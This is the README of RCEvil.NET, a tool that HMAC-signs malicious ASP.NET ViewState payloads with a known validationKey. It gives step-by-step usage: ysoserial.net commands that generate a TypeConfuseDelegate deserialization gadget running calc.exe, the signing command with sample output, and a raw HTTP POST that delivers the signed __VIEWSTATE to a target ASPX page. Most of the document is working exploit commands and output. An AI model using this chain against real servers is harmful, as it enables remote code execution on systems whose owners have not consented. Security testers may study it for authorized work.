RCEvil.NET ===

RCEvil.NET is a tool for signing malicious ViewStates with a known validationKey. Any (even empty) ASPX page is a valid target. See <http://illuminopi.com/> for full details on the attack vector.

Prerequisites

1. Visual Studio Community
 - <https://visualstudio.microsoft.com/vs/community/>
2. Local installation of ysoserial.net:
 - <https://github.com/pwntester/ysoserial.net>

Usage

1. Build your payload in ysoserial.net:

```
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -o base64 -c "calc.exe"
```

1. Sign the payload using RCEvil.NET:

```
RCEvil.NET.exe -u [URL] -v [VALIDATION_KEY] -m [DIGEST_TYPE] -p [YSOSERIAL.NET_PAYLOAD]
```

1. Direct the payload to the target ASPX page

Examples

Generate base payload in ysoserial.net:

```
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -o base64 -c "calc.exe"  
/wEyxBEAAQAAAP///8...
```

Sign ysoserial.net payload with an HMAC using RCEvil.NET:

```
RCEvil.NET.exe -u /Default.aspx -v 000102030405060708090a0b0c0d0e0f10111213 -m SHA1 -p  
/wEyxBEAAQAAAP///8...
```

```
-=[ ViewState Toolset ]=-
```

URL: /Default.aspx

Digest Algorithm: SHA1

ValidationKey: 000102030405060708090a0b0c0d0e0f10111213

Modifier: 34030bca

```
-=[ Final Payload ]=-
```

```
%2fwEyxBEAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAAwC...
```

Finally, send the HMAC-signed ViewState payload to the target:

POST /Default.aspx HTTP/1.1

Host: 192.168.112.148

Content-Type: application/x-www-form-urlencoded

Content-Length: 3072

```
__VIEWSTATE=%2fwEyxBEAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAAwC...
```
